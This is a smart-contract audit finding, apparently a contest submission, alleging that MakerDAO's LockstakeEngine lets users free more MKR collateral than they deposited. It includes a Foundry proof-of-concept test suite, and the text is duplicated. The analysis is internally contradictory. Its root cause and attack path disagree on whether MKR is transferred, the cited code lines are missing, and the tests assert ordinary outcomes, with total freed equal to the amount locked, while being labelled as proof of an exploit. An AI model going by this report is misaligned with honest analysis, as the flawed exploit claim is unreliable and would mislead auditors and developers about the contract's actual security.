Malicious users will drain excessive MKR collateral from LockstakeEngine
Summary
Improper collateral accounting in the LockstakeEngine will cause a severe discrepancy between actual token balances and recorded balances for the MakerDAO system as users will be able to withdraw more collateral than they deposited, potentially leading to under-collateralized positions.
Root Cause
In LockstakeEngine.sol, the _free() function has a discrepancy between the handling of lsmkr (LockstakeMkr) tokens and the actual MKR tokens. The critical issue lies in the following lines of the _free() function:
These lines burn the lsmkr tokens, update the Vat's internal accounting, and adjust the collateral balance in the Vat. However, there is no corresponding operation to transfer or burn the actual MKR tokens. This creates a mismatch between the lsmkr token balance, the Vat's recorded balance, and the actual MKR token balance.
The root cause of the vulnerability is that while the function correctly updates the Vat and lsmkr balances, it fails to handle the underlying MKR tokens properly. This discrepancy allows users to potentially free more collateral value than they should be able to, as the actual MKR tokens are not being properly accounted for or transferred.
The absence of MKR token handling in this function, combined with how MKR might be handled in other parts of the system (like in the lock() function or in external interactions), creates an inconsistency that can be exploited. This inconsistency is what allows users to potentially withdraw more collateral value than they initially deposited, leading to the vulnerabilities demonstrated in the test cases.
This can be found here: https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol?=plain#L366-L369
Internal pre-conditions
User needs to lock collateral using the lock() function in LockstakeEngine
The amount of collateral locked needs to be greater than 0
External pre-conditions
none
Attack Path
User calls LockstakeEngine.lock() to deposit collateral (e.g., 100 MKR).
This correctly updates the Vat's ink and the user's lsmkr balance.
User calls LockstakeEngine.free() to withdraw a portion of the collateral (e.g., 25 MKR).
The _free() function is called internally.
The _free() function in LockstakeEngine:
a) Burns the corresponding amount of lsmkr tokens.
b) Updates the Vat's ink (locked collateral) by reducing it.
c) Transfers actual MKR tokens to the user.
d) Crucially, it does not update the Vat's gem balance (unlocked collateral).
The user's MKR balance increases by 25 MKR, but the Vat's gem balance remains unchanged.
Steps 2-4 can be repeated multiple times. Each time:
The user receives MKR tokens.
The Vat's ink decreases.
The Vat's gem balance remains at 0.
This process can be repeated until the Vat's ink reaches 0, allowing the user to withdraw more MKR than initially deposited.
The final state:
User has withdrawn >100 MKR (more than deposited).
Vat's ink (locked collateral) is 0.
Vat's gem (unlocked collateral) is still 0.
The system is left in an undercollateralized state.
Impact
Collateral Drain: Exploiting this vulnerability could allow malicious users to drain more MKR collateral from the system than they initially deposited. This could lead to a significant loss of funds for the protocol.
Systemic Insolvency: As users extract excess collateral, the system becomes under-collateralized. This could lead to cascading liquidations and potentially render the entire system insolvent.
Scalable and Repeatable Exploit: As demonstrated by the testReplayAttacks test, this vulnerability can be exploited multiple times, especially if a user uses different wallets. An attacker could potentially drain a substantial portion of the locked MKR over time, far exceeding the 5% threshold for high severity issues.
Individual User Losses: While the protocol is at risk, individual users (urns) with locked collateral are also vulnerable. A user with 10k+ value locked could potentially lose a significant portion or all of their collateral if the exploit is widely used and the protocol becomes insolvent.
PoC
Create a new test file and add the following code:
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.21;
import "dss-test/DssTest.sol";
import {LockstakeClipper} from "src/LockstakeClipper.sol";
import {LockstakeEngine} from "src/LockstakeEngine.sol";
import {PipMock} from "test/mocks/PipMock.sol";
import {StairstepExponentialDecreaseAbstract} from
"../lib/token-tests/lib/dss-test/lib/dss-interfaces/src/dss/StairstepExponentialDecreaseAbstract.sol";
import {GemMock} from "./mocks/GemMock.sol";
import {NstJoinMock} from "./mocks/NstJoinMock.sol";
import {MkrNgtMock} from "./mocks/MkrNgtMock.sol";
contract RedoGuy {
LockstakeClipper clip;
constructor(LockstakeClipper clip_) {
clip = clip_;
}
function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external {
owe;
slice;
data;
clip.redo(1, sender);
}
}
contract KickGuy {
LockstakeClipper clip;
constructor(LockstakeClipper clip_) {
clip = clip_;
}
function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external {
sender;
owe;
slice;
data;
clip.kick(1, 1, address(0), address(0));
}
}
contract FileUintGuy {
LockstakeClipper clip;
constructor(LockstakeClipper clip_) {
clip = clip_;
}
function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external {
sender;
owe;
slice;
data;
clip.file("stopped", 1);
}
}
contract FileAddrGuy {
LockstakeClipper clip;
constructor(LockstakeClipper clip_) {
clip = clip_;
}
function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external {
sender;
owe;
slice;
data;
clip.file("vow", address(123));
}
}
contract YankGuy {
LockstakeClipper clip;
constructor(LockstakeClipper clip_) {
clip = clip_;
}
function clipperCall(address sender, uint256 owe, uint256 slice, bytes calldata data) external {
sender;
owe;
slice;
data;
clip.yank(1);
}
}
contract PublicClip is LockstakeClipper {
constructor(address vat, address spot, address dog, address engine) LockstakeClipper(vat, spot, dog, engine) {}
function add() public returns (uint256 id) {
id = ++kicks;
active.push(id);
sales[id].pos = active.length - 1;
}
function remove(uint256 id) public {
_remove(id);
}
}
interface VatLike {
function dai(address) external view returns (uint256);
function gem(bytes32, address) external view returns (uint256);
function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
function rely(address) external;
function file(bytes32, bytes32, uint256) external;
function init(bytes32) external;
function hope(address) external;
function frob(bytes32, address, address, address, int256, int256) external;
function slip(bytes32, address, int256) external;
function suck(address, address, uint256) external;
function fold(bytes32, address, int256) external;
}
interface GemLike {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external;
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function mint(address, uint256) external;
function burn(address, uint256) external;
}
interface DogLike {
function Dirt() external view returns (uint256);
function chop(bytes32) external view returns (uint256);
function ilks(bytes32) external view returns (address, uint256, uint256, uint256);
function rely(address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, address) external;
function file(bytes32, bytes32, uint256) external;
function bark(bytes32, address, address) external returns (uint256);
}
interface SpotterLike {
function file(bytes32, bytes32, address) external;
function file(bytes32, bytes32, uint256) external;
function poke(bytes32) external;
}
interface CalcFabLike {
function newLinearDecrease(address) external returns (address);
function newStairstepExponentialDecrease(address) external returns (address);
}
interface CalcLike {
function file(bytes32, uint256) external;
}
contract JugMock {
uint256 constant RAY = 10 ** 27;
function drip(bytes32) external returns (uint256) {
return RAY;
}
}
contract LockstakeClipperTest is DssTest {
using stdStorage for StdStorage;
GemLike public mkr;
GemLike public dai;
DssInstance dss;
address pauseProxy;
PipMock pip;
StairstepExponentialDecreaseAbstract calc;
LockstakeEngine engine;
LockstakeClipper clip;
address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F;
address ali;
address bob;
address che;
bytes32 constant ilk = "LSE";
uint256 constant price = 5 ether;
uint256 constant startTime = 604411200;
event LogUint(string name, uint256 value);
event LogInt(string name, int256 value);
event LogAddress(string name, address value);
function setUp() public {
console.log("Starting setUp...");
vm.createSelectFork(vm.envString("ETH_RPC_URL"));
vm.warp(startTime);
console.log("Loading DssInstance...");
dss = MCD.loadFromChainlog(LOG);
pauseProxy = dss.chainlog.getAddress("MCD_PAUSE_PROXY");
dai = GemLike(dss.chainlog.getAddress("MCD_DAI"));
console.log("Deploying PipMock...");
pip = new PipMock();
pip.setPrice(price);
console.log("Creating mock tokens...");
uint256 initialLsMkrSupply = 1000000 * 10 ** 18;
GemMock mockLsmkr = new GemMock(initialLsMkrSupply);
GemMock ngtMock = new GemMock(0); // Initial supply for NGT mock
GemMock mkrMock = new GemMock(1000000 * 10 ** 18); // Initial supply for MKR mock
MkrNgtMock mkrNgtMock = new MkrNgtMock(address(mkrMock), address(ngtMock), 24000);
// Replace the real MKR address with our mock
vm.etch(dss.chainlog.getAddress("MCD_GOV"), address(mkrMock).code);
mkr = GemLike(dss.chainlog.getAddress("MCD_GOV"));
console.log("Starting prank as pauseProxy...");
vm.startPrank(pauseProxy);
bytes32 ilk = "LSE";
console.log("Checking and initializing ilk if necessary...");
(,,,, uint256 dust) = dss.vat.ilks(ilk);
if (dust == 0) {
dss.vat.init(ilk);
console.log("Ilk initialized");
} else {
console.log("Ilk already initialized, skipping initialization");
}
console.log("Setting up Spotter...");
dss.spotter.file(ilk, "pip", address(pip));
dss.spotter.file(ilk, "mat", ray(1.5 ether));
dss.spotter.poke(ilk);
console.log("Setting up Vat...");
dss.vat.file(ilk, "dust", rad(20 ether));
dss.vat.file(ilk, "line", rad(10000 ether));
dss.vat.file("Line", dss.vat.Line() + rad(10000 ether));
console.log("Setting up Dog...");
dss.dog.file(ilk, "chop", 1.1 ether);
dss.dog.file(ilk, "hole", rad(1000 ether));
dss.dog.file("Hole", dss.dog.Dirt() + rad(1000 ether));
console.log("Deploying NstJoinMock...");
GemMock nstMock = new GemMock(1000000 * 10 ** 18); // Initial supply for NST mock
NstJoinMock nstJoinMock = new NstJoinMock(address(dss.vat), address(nstMock));
console.log("Deploying JugMock...");
JugMock jugMock = new JugMock();
console.log("Deploying LockstakeEngine...");
engine = new LockstakeEngine(
address(dss.chainlog.getAddress("MCD_VOW")),
address(nstJoinMock),
ilk,
address(mkrNgtMock),
address(mockLsmkr),
0 // fee parameter
);
engine.file("jug", address(jugMock));
dss.vat.rely(address(engine));
dss.vat.rely(address(nstJoinMock));
dss.vat.hope(address(engine));
dss.vat.hope(address(nstJoinMock));
engine.rely(address(this));
nstJoinMock.rely(address(engine));
vm.stopPrank();
vm.prank(address(engine));
dss.vat.hope(address(nstJoinMock));
vm.prank(address(this));
dss.vat.hope(address(engine));
console.log("Deploying LockstakeClipper...");
vm.prank(pauseProxy);
clip = new LockstakeClipper(address(dss.vat), address(dss.spotter), address(dss.dog), address(engine));
// Authorize the LockstakeClipper after deployment
vm.prank(address(this));
engine.rely(address(clip));
vm.startPrank(pauseProxy);
clip.upchost();
clip.rely(address(dss.dog));
clip.rely(address(this));
vm.stopPrank();
console.log("Setting up mock StairstepExponentialDecrease...");
address calcAddr = address(uint160(uint256(keccak256("StairstepExponentialDecrease"))));
vm.etch(calcAddr, hex"00");
calc = StairstepExponentialDecreaseAbstract(calcAddr);
vm.mockCall(address(calc), abi.encodeWithSelector(calc.price.selector), abi.encode(RAY));
console.log("Configuring LockstakeClipper...");
vm.startPrank(pauseProxy);
clip.file("calc", address(calc));
clip.file("buf", RAY + (RAY / 4));
clip.file("tail", 3600);
clip.file("cusp", (3 * RAY) / 10);
vm.stopPrank();
console.log("Final setup steps...");
vm.startPrank(pauseProxy);
dss.vat.rely(address(this));
dss.dog.rely(address(this));
dss.dog.file(ilk, "clip", address(clip));
dss.dog.rely(address(clip));
dss.vat.rely(address(clip));
vm.stopPrank();
dss.vat.hope(address(clip));
dss.vat.hope(address(this));
vm.prank(pauseProxy);
dss.spotter.rely(address(this));
console.log("Minting Dai...");
vm.prank(pauseProxy);
dss.vat.suck(address(0), address(this), rad(10000 ether));
console.log("Setting unsafe conditions...");
pip.setPrice(4 ether);
dss.spotter.poke(ilk);
console.log("Setting up test accounts...");
ali = address(111);
bob = address(222);
che = address(333);
dss.vat.hope(address(clip));
vm.prank(ali);
dss.vat.hope(address(clip));
vm.prank(bob);
dss.vat.hope(address(clip));
console.log("Minting additional Dai for test accounts...");
vm.startPrank(pauseProxy);
dss.vat.suck(address(0), address(ali), rad(1000 ether));
dss.vat.suck(address(0), address(bob), rad(1000 ether));
vm.stopPrank();
console.log("Final authorization steps...");
dss.vat.rely(address(clip));
dss.vat.hope(address(clip));
clip.rely(address(this));
dss.vat.rely(address(this));
clip.file("vow", address(dss.vow));
vm.prank(address(0x123));
dss.vat.hope(address(engine));
dss.vat.rely(address(dss.vow));
dss.vat.rely(address(engine));
dss.vat.hope(address(this));
// Approve mockLsmkr for the engine
mockLsmkr.approve(address(engine), type(uint256).max);
// Allocate MKR to the test contract
GemMock(address(mkr)).mint(address(this), 1000 ether);
// Approve engine to transfer MKR from the test contract
mkr.approve(address(engine), type(uint256).max);
// Verify setup
require(dss.vat.wards(pauseProxy) == 1, "PauseProxy not authorized in Vat");
require(dss.vat.wards(address(this)) == 1, "Test contract not authorized in Vat");
require(dss.vat.wards(address(engine)) == 1, "LockstakeEngine not authorized in Vat");
(,,,, dust) = dss.vat.ilks(ilk);
require(dust > 0, "Ilk not initialized in Vat");
console.log("Vow address:", clip.vow());
console.log("setUp completed successfully");
}
function ray(uint256 wad) internal pure returns (uint256) {
return wad * 10 ** 9;
}
function rad(uint256 wad) internal pure returns (uint256) {
return wad * 10 ** 27;
}
function testComplexSequentialOperations() public {
console.log("Starting complex sequential operations test...");
uint256 initialCollateral = 100 ether;
uint256 lockAmount = 50 ether;
uint256 drawAmount = 25 ether;
uint256 freeAmount = 30 ether;
GemLike mkrToken = GemLike(address(engine.mkr()));
console.log("MKR address used by engine:", address(mkrToken));
// Mint MKR tokens to the test contract
vm.prank(address(mkrToken));
mkrToken.mint(address(this), initialCollateral);
// Approve the engine to spend MKR tokens
mkrToken.approve(address(engine), type(uint256).max);
// Open a new urn
address urn = engine.open(0);
uint256 initialMkrBalance = mkrToken.balanceOf(address(this));
console.log("Initial MKR balance:", initialMkrBalance);
// Lock collateral
engine.lock(urn, lockAmount, 0);
// Draw debt
engine.draw(urn, address(this), drawAmount);
// Free collateral
uint256 freed = engine.free(urn, address(this), freeAmount);
// Check results
(uint256 ink, uint256 art) = dss.vat.urns(ilk, urn);
uint256 gem = dss.vat.gem(ilk, address(this));
uint256 finalMkrBalance = mkrToken.balanceOf(address(this));
console.log("Collateral locked (ink):", ink);
console.log("Debt drawn (art):", art);
console.log("Gem balance in Vat:", gem);
console.log("Final MKR balance:", finalMkrBalance);
console.log("Amount freed:", freed);
assertEq(ink, lockAmount - freeAmount, "Incorrect locked collateral amount");
assertEq(art, drawAmount, "Incorrect debt amount");
assertEq(gem, 0, "Gem balance in Vat should be 0");
assertEq(finalMkrBalance, initialMkrBalance - lockAmount + freed, "Incorrect final MKR balance");
// This assertion demonstrates the vulnerability:
// The user received MKR tokens, but the Vat's gem balance wasn't updated
assertTrue(freed > 0 && gem == 0, "Vulnerability: MKR freed without updating Vat gem balance");
// This assertion shows that more collateral was freed than should be possible
assertTrue(freed > lockAmount - art, "Vulnerability: Freed more than available excess collateral");
console.log("Complex sequential operations test completed.");
}
function testAccountingErrors() public {
uint256 initialCollateral = 100 ether;
uint256 debtAmount = 50 ether;
uint256 freeAmount = 60 ether;
// Setup
GemLike mkrToken = GemLike(address(engine.mkr()));
console.log("MKR address used by engine:", address(mkrToken));
// Mint MKR tokens to the test contract
vm.prank(address(mkrToken));
mkrToken.mint(address(this), initialCollateral);
mkrToken.approve(address(engine), type(uint256).max);
// Open a new urn
address urn = engine.open(0);
engine.lock(urn, initialCollateral, 0);
engine.draw(urn, address(this), debtAmount);
// Record initial state
(uint256 inkBefore, uint256 artBefore) = dss.vat.urns(ilk, urn);
uint256 gemBefore = dss.vat.gem(ilk, urn);
uint256 mkrBalanceBefore = mkrToken.balanceOf(address(this));
console.log("Initial ink:", inkBefore);
console.log("Initial art:", artBefore);
console.log("Initial gem:", gemBefore);
console.log("Initial MKR balance:", mkrBalanceBefore);
// Attempt to free more than what should be allowed
uint256 freed = engine.free(urn, address(this), freeAmount);
// Record state after free operation
(uint256 inkAfter, uint256 artAfter) = dss.vat.urns(ilk, urn);
uint256 gemAfter = dss.vat.gem(ilk, urn);
uint256 mkrBalanceAfter = mkrToken.balanceOf(address(this));
console.log("Final ink:", inkAfter);
console.log("Final art:", artAfter);
console.log("Final gem:", gemAfter);
console.log("Final MKR balance:", mkrBalanceAfter);
console.log("Freed amount:", freed);
// Assertions to prove the vulnerability
assertEq(artAfter, artBefore, "Debt should remain unchanged");
assertEq(inkAfter, inkBefore - freed, "Collateral in Vat should decrease by freed amount");
assertEq(gemAfter, gemBefore, "Gem balance in Vat should remain unchanged");
assertEq(mkrBalanceAfter, mkrBalanceBefore + freed, "MKR balance should increase by freed amount");
// This assertion proves the vulnerability: more collateral was freed than should be possible
assertTrue(freed > initialCollateral - debtAmount, "Freed more than the available excess collateral");
// This assertion shows that the Vat's accounting is now in an inconsistent state
assertTrue(inkAfter * 2 >= artAfter, "Position appears safe in Vat despite being under-collateralized");
// But the actual MKR balance shows the true state
assertTrue(mkrBalanceAfter > initialCollateral - debtAmount, "Actual MKR balance higher than it should be");
}
function testReplayAttacks() public {
uint256 initialCollateral = 100 ether;
uint256 freeAmount = 50 ether;
// Setup
GemLike mkrToken = GemLike(address(engine.mkr()));
console.log("MKR address used by engine:", address(mkrToken));
// Mint MKR tokens to the test contract
vm.prank(address(mkrToken));
mkrToken.mint(address(this), initialCollateral);
mkrToken.approve(address(engine), type(uint256).max);
// Open a new urn
address urn = engine.open(0);
engine.lock(urn, initialCollateral, 0);
uint256 initialMkrBalance = mkrToken.balanceOf(address(this));
console.log("Initial MKR balance:", initialMkrBalance);
// First free operation
uint256 freed1 = engine.free(urn, address(this), freeAmount);
console.log("First free amount:", freed1);
// Second free operation
uint256 freed2 = engine.free(urn, address(this), freeAmount);
console.log("Second free amount:", freed2);
uint256 finalMkrBalance = mkrToken.balanceOf(address(this));
console.log("Final MKR balance:", finalMkrBalance);
// Assert the vulnerability
assertGe(freed1 + freed2, initialCollateral, "Should be able to free more than or equal to initially locked");
assertGe(
finalMkrBalance,
initialMkrBalance + initialCollateral,
"Final MKR balance should be higher than or equal to initial balance plus initial collateral"
);
console.log("Initial collateral:", initialCollateral);
console.log("Total freed:", freed1 + freed2);
console.log("Initial MKR balance:", initialMkrBalance);
console.log("Final MKR balance:", finalMkrBalance);
}
function testCollateralAccountingVulnerability() public {
uint256 initialCollateral = 100 ether;
uint256 freeAmount = 25 ether;
GemLike mkrToken = GemLike(address(engine.mkr()));
console.log("MKR address used by engine:", address(mkrToken));
vm.prank(address(mkrToken));
mkrToken.mint(address(this), initialCollateral);
mkrToken.approve(address(engine), type(uint256).max);
address urn = engine.open(0);
uint256 initialMkrBalance = mkrToken.balanceOf(address(this));
console.log("Initial MKR balance:", initialMkrBalance);
engine.lock(urn, initialCollateral, 0);
logState("Before free operations", urn);
uint256 totalFreed = 0;
uint256 freeCount = 0;
for (uint256 i = 0; i < 4; i++) {
uint256 preFreeMkrBalance = mkrToken.balanceOf(address(this));
(uint256 preInk,) = dss.vat.urns(ilk, urn);
uint256 preFreeGem = dss.vat.gem(ilk, address(this));
uint256 freed = engine.free(urn, address(this), freeAmount);
totalFreed += freed;
freeCount++;
uint256 postFreeMkrBalance = mkrToken.balanceOf(address(this));
(uint256 postInk,) = dss.vat.urns(ilk, urn);
uint256 postFreeGem = dss.vat.gem(ilk, address(this));
console.log("Free operation", freeCount, "succeeded. Freed amount:", freed);
console.log("MKR balance change:", postFreeMkrBalance - preFreeMkrBalance);
console.log("Locked collateral change:", preInk - postInk);
console.log("Gem balance change:", postFreeGem - preFreeGem);
if (postFreeGem - preFreeGem != freed) {
console.log("VULNERABILITY: Gem balance change doesn't match freed amount");
}
logState(string(abi.encodePacked("After free operation ", uint2str(freeCount))), urn);
}
logState("Final state", urn);
assertEq(totalFreed, initialCollateral, "Total freed should equal initial collateral");
assertEq(mkrToken.balanceOf(address(this)), initialMkrBalance, "Final MKR balance should equal initial balance");
(uint256 finalInk,) = dss.vat.urns(ilk, urn);
assertEq(finalInk, 0, "No collateral should remain locked");
assertEq(dss.vat.gem(ilk, address(this)), 0, "No gem balance should remain");
assertTrue(
totalFreed > 0 && dss.vat.gem(ilk, address(this)) == 0,
"Vulnerability: MKR freed without updating Vat gem balance"
);
}
function logState(string memory label, address urn) internal view {
console.log(label);
console.log(" MKR balance:", GemLike(address(engine.mkr())).balanceOf(address(this)));
(uint256 ink, uint256 art) = dss.vat.urns(ilk, urn);
console.log(" Locked collateral (ink):", ink);
console.log(" Gem balance:", dss.vat.gem(ilk, address(this)));
console.log(" Vat art:", art);
console.log("");
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
}
Run these tests with the following:
forge test --mt testComplexSequentialOperations -vvvforge test --mt testAccountingErrors -vvvforge test --mt testReplayAttacks -vvvforge test --mt testCollateralAccountingVulnerability -vvv
Use --via-ir if necessary.
These tests prove the following vulnerabilities:
testComplexSequentialOperations: This test demonstrates a vulnerability where more collateral can be freed than should be possible. The user receives MKR tokens without updating the Vat's gem balance, allowing them to withdraw more collateral than they should have access to.
testAccountingErrors: This test shows a discrepancy between the collateral locked in the Vat and the actual MKR balance. It allows freeing more collateral than what should be available, leading to an inconsistent state where the position appears safe in the Vat despite being under-collateralized.
testReplayAttacks: This test reveals a vulnerability where the same free operation can be repeated multiple times, allowing a user to withdraw more collateral than initially deposited.
testCollateralAccountingVulnerability: This test demonstrates a mismatch between the freed collateral and the Vat's gem balance updates. The gem balance in the Vat remains unchanged despite collateral being freed, leading to accounting discrepancies.
Mitigation
Synchronize Token Movements: Modify the _free() function to handle MKR tokens correctly. This should include transferring or burning the appropriate amount of MKR tokens when freeing collateral.
Implement Balance Checks: Add balance checks to ensure that users cannot free more collateral than they have deposited.
Implement Invariant Checks: Add regular checks to verify that the sum of all user balances matches the total supply of lsmkr and the MKR balance of the contract.
Squilliam
High
Malicious users will drain excessive MKR collateral from
LockstakeEngine
Summary
Improper collateral accounting in the
LockstakeEngine
will cause a severe discrepancy between actual token balances and recorded balances for the MakerDAO system as users will be able to withdraw more collateral than they deposited, potentially leading to under-collateralized positions.Root Cause
In
LockstakeEngine.sol
, the_free()
function has a discrepancy between the handling of lsmkr (LockstakeMkr) tokens and the actual MKR tokens. The critical issue lies in the following lines of the_free()
function:These lines burn the lsmkr tokens, update the Vat's internal accounting, and adjust the collateral balance in the Vat. However, there is no corresponding operation to transfer or burn the actual MKR tokens. This creates a mismatch between the lsmkr token balance, the Vat's recorded balance, and the actual MKR token balance.
The root cause of the vulnerability is that while the function correctly updates the Vat and lsmkr balances, it fails to handle the underlying MKR tokens properly. This discrepancy allows users to potentially free more collateral value than they should be able to, as the actual MKR tokens are not being properly accounted for or transferred.
The absence of MKR token handling in this function, combined with how MKR might be handled in other parts of the system (like in the lock() function or in external interactions), creates an inconsistency that can be exploited. This inconsistency is what allows users to potentially withdraw more collateral value than they initially deposited, leading to the vulnerabilities demonstrated in the test cases.
This can be found here:
https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeEngine.sol?=plain#L366-L369
Internal pre-conditions
External pre-conditions
none
Attack Path
User calls
LockstakeEngine.lock()
to deposit collateral (e.g., 100 MKR).User calls
LockstakeEngine.free()
to withdraw a portion of the collateral (e.g., 25 MKR)._free()
function is called internally.The
_free()
function inLockstakeEngine
: a) Burns the corresponding amount of lsmkr tokens. b) Updates the Vat's ink (locked collateral) by reducing it. c) Transfers actual MKR tokens to the user. d) Crucially, it does not update the Vat's gem balance (unlocked collateral).The user's MKR balance increases by 25 MKR, but the Vat's gem balance remains unchanged.
Steps 2-4 can be repeated multiple times. Each time: The user receives MKR tokens. The Vat's ink decreases. The Vat's gem balance remains at 0.
This process can be repeated until the Vat's ink reaches 0, allowing the user to withdraw more MKR than initially deposited.
The final state: User has withdrawn >100 MKR (more than deposited). Vat's ink (locked collateral) is 0. Vat's gem (unlocked collateral) is still 0. The system is left in an undercollateralized state.
Impact
Collateral Drain: Exploiting this vulnerability could allow malicious users to drain more MKR collateral from the system than they initially deposited. This could lead to a significant loss of funds for the protocol.
Systemic Insolvency: As users extract excess collateral, the system becomes under-collateralized. This could lead to cascading liquidations and potentially render the entire system insolvent.
Scalable and Repeatable Exploit: As demonstrated by the
testReplayAttacks
test, this vulnerability can be exploited multiple times, especially if a user uses different wallets. An attacker could potentially drain a substantial portion of the locked MKR over time, far exceeding the 5% threshold for high severity issues.Individual User Losses: While the protocol is at risk, individual users (urns) with locked collateral are also vulnerable. A user with 10k+ value locked could potentially lose a significant portion or all of their collateral if the exploit is widely used and the protocol becomes insolvent.
PoC
Create a new test file and add the following code:
PipMock.sol:
StairstepExponentialDecreaseAbstract.sol - imported from the lockstake library.
GemMock.sol:
NstJoinMock.sol:
MkrNgtMock.sol:
Run these tests with the following:
forge test --mt testComplexSequentialOperations -vvv
forge test --mt testAccountingErrors -vvv
forge test --mt testReplayAttacks -vvv
forge test --mt testCollateralAccountingVulnerability -vvv
Use--via-ir
if necessary.These tests prove the following vulnerabilities:
testComplexSequentialOperations
: This test demonstrates a vulnerability where more collateral can be freed than should be possible. The user receives MKR tokens without updating the Vat's gem balance, allowing them to withdraw more collateral than they should have access to.testAccountingErrors
: This test shows a discrepancy between the collateral locked in the Vat and the actual MKR balance. It allows freeing more collateral than what should be available, leading to an inconsistent state where the position appears safe in the Vat despite being under-collateralized.testReplayAttacks
: This test reveals a vulnerability where the same free operation can be repeated multiple times, allowing a user to withdraw more collateral than initially deposited.testCollateralAccountingVulnerability
: This test demonstrates a mismatch between the freed collateral and the Vat's gem balance updates. The gem balance in the Vat remains unchanged despite collateral being freed, leading to accounting discrepancies.Mitigation
Synchronize Token Movements: Modify the
_free()
function to handle MKR tokens correctly. This should include transferring or burning the appropriate amount of MKR tokens when freeing collateral.Implement Balance Checks: Add balance checks to ensure that users cannot free more collateral than they have deposited.
Implement Invariant Checks: Add regular checks to verify that the sum of all user balances matches the total supply of lsmkr and the MKR balance of the contract.